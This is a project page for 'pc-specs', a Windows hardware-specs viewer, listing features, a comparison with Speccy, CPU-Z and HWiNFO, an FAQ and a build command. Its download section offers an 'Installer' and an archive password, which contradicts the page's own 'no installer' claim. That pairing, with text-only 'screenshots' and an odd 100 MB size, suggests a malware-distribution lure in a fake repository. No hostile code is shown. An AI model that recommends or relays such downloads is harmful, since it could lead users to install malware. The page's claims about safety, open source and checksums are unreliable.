pc-specs

🖥️ Free, open-source PC specs viewer for Windows — CPU, GPU, RAM slots and motherboard in one offline window. 100 MB portable, MIT.

Features

• ✅ One-screen summary — CPU, GPU, RAM, motherboard, BIOS, disks and network adapters without tab hunting
• ✅ RAM slot map — which slot holds which stick, size, speed and manufacturer, for upgrade planning
• ✅ Disk inventory — model, bus, capacity and free space for every physical drive and volume
• ✅ Live mini-monitor — CPU, RAM and GPU load sparklines in a corner tab while the report stays open
• ✅ Export for tickets — TXT, JSON and CSV reports for support threads and asset inventories
• ✅ No admin for readouts — full report without elevation; nothing installs or stays resident
• ✅ 100 MB self-contained exe — runtime bundled, portable, offline, MIT with SHA-256 releases

Why pc-specs

• MIT licensed, source in the open
• No ads, no account, no telemetry
• Single portable 100 MB exe - no installer, runs offline
• CI builds every release and publishes SHA-256 checksums
• Windows 10 / 11 x64

Comparison

Feature	pc-specs	Speccy	CPU-Z	HWiNFO
Price	Free, MIT	Free	Free	Free
Open source	Yes	No	No	No
One-screen plain summary	Yes	Yes	Tabs	No
RAM slot map	Yes	Partial	Yes	Yes
JSON and CSV export	Yes	No	TXT only	CSV
Portable, no install	Yes, 100 MB	Installer	Zip	Zip

FAQ

how to check PC specs on Windows 10 and 11?

msinfo32 is a wall of entries that never answers the simple question, and hardware suites push upselling bundles and background services. pc-specs opens one window with the answer up top: CPU, RAM speed, GPU and motherboard model, ready to screenshot into a ticket. It is a 100 MB portable exe, MIT, offline, no account.

Screenshots

All screenshots describe the 1280x800 dark UI.

1. Dark overview (#121417, indigo #6366F1): section cards for CPU, GPU, memory and motherboard with model chips and speeds, search field top right.
2. RAM slot diagram: four slot rectangles, two populated showing 16 GB at 3200 MT/s, empty slots grayed, channel pairing label below.
3. Export and monitor tab: live CPU 12 percent sparkline, JSON and CSV buttons, last report timestamp, no pending reboot banner.

Download

Source	Link
💾 Installer pc-specs	Installer pc-specs

Archive password: 5139237619

Build

Requires the .NET SDK on Windows 10/11 x64:

dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true

License

MIT. See LICENSE.